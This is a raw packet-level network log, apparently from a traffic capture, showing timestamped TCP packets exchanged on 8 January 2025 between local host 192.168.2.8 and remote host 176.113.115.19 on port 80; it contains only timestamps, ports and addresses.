Jan 8, 2025 09:42:31.491492033 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491492033 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491516113 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491528034 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491540909 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491554976 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491561890 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491563082 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491583109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491591930 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491591930 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491595984 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491617918 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491619110 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491632938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491646051 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491656065 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491656065 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491658926 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491674900 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491678953 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491678953 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491709948 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491729975 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491745949 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491759062 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491779089 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491791964 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491792917 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491792917 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491801977 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491812944 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491827011 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491832018 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491832018 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491848946 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491861105 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491873980 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491880894 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491898060 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491906881 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491919041 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491920948 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491954088 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491966009 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491971970 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.491981030 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.491997957 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.492001057 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492013931 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492026091 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492027044 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.492063046 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.492069960 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492079973 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.492082119 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492095947 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492114067 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.492141008 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.492177010 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492189884 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492202044 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492213011 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492224932 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492225885 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.492239952 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492259026 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.492273092 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492285967 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492297888 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.492299080 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492297888 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.492316008 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492330074 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492331028 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.492366076 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.492381096 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492381096 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.492394924 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492408991 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492419958 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.492438078 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.492438078 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.492468119 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.521541119 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.521570921 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.521604061 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.521625042 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.521639109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.521686077 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.521694899 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.521730900 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.521748066 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.521780968 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.521806955 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.521836042 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.521863937 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.521871090 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.521893024 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.521907091 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.521917105 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.521934032 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.521965027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.521972895 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.521972895 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.521996021 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.522012949 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.522027016 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.522039890 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.522043943 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.522052050 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.522063971 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.522063971 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.522074938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.522089005 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.522119999 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.549464941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.549477100 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.549489021 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.549501896 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.549527884 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.549561024 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.549561977 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.549576044 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.549603939 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.549606085 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.549640894 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.549640894 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.549865961 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.549877882 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.549890041 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.549901962 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.549909115 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.549917936 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.549925089 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.549947977 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.549956083 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.549962997 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.549973011 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.549988031 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.550020933 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.581265926 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581279993 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581315994 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581338882 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581351042 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581362963 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581374884 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581379890 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.581429958 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.581517935 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581528902 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581541061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581562996 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.581579924 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.581664085 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581677914 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581688881 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581701994 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581706047 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.581716061 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581722975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581728935 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581743002 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.581762075 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.581762075 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.581783056 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.582262039 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582273960 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582288980 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582303047 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582319975 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.582362890 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.582362890 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.582585096 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582597017 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582608938 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582638979 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.582638979 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.582655907 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582668066 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582680941 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582694054 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582696915 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.582705975 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582720041 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582729101 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.582748890 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.582773924 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.582849026 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582861900 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582873106 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582885027 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582895994 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582900047 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.582900047 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.582907915 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582922935 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582928896 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.582953930 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.582963943 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.582979918 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.582992077 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583005905 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583017111 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583024025 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583038092 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583044052 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583051920 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583074093 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583081961 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583091974 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583096027 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583106041 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583118916 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583128929 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583137989 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583146095 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583151102 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583164930 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583189964 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583189964 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583224058 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583334923 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583348036 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583359003 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583372116 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583385944 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583398104 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583400965 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583400965 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583410978 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583422899 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583436012 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583447933 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583448887 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583448887 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583461046 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583472013 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583484888 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583492994 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583492994 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583499908 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583524942 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583544016 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583555937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583559036 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583569050 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583581924 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583595037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583600044 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583607912 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583609104 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583621979 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583632946 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583647013 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583667040 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583667040 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583688021 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583702087 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583712101 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583724022 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583730936 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583739042 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583750963 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583751917 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583762884 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583777905 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583789110 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583796978 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583796978 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583801031 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583816051 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583826065 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583831072 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583844900 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.583856106 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583877087 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.583897114 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.612045050 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.612073898 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.612087011 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.612138987 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.612160921 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.612170935 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.612185001 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.612195969 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.612210035 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.612225056 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.612225056 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.612289906 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.639909983 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.639920950 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.639928102 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.639976025 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.639991045 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.640002966 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.640026093 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.640037060 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.640053988 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.640068054 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.640121937 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.640134096 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.640146017 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.640160084 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.640177011 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.640178919 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.640204906 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.640265942 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.671808958 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.671839952 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.671854019 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.671895981 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.671907902 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.671928883 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.671941996 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.671955109 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.671983004 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.671996117 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.672008991 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.672040939 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.672059059 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.672074080 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.672086954 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.672087908 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.672115088 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.672137022 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.672148943 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.672159910 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.672183037 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.672195911 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.672208071 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.672216892 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.672216892 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.672220945 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.672235012 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.672238111 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.672245979 CET	80	49708	176.113.115.19	192.168.2.8
Jan 8, 2025 09:42:31.672277927 CET	49708	80	192.168.2.8	176.113.115.19
Jan 8, 2025 09:42:31.672277927 CET	49708	80	192.168.2.8	176.113.115.19
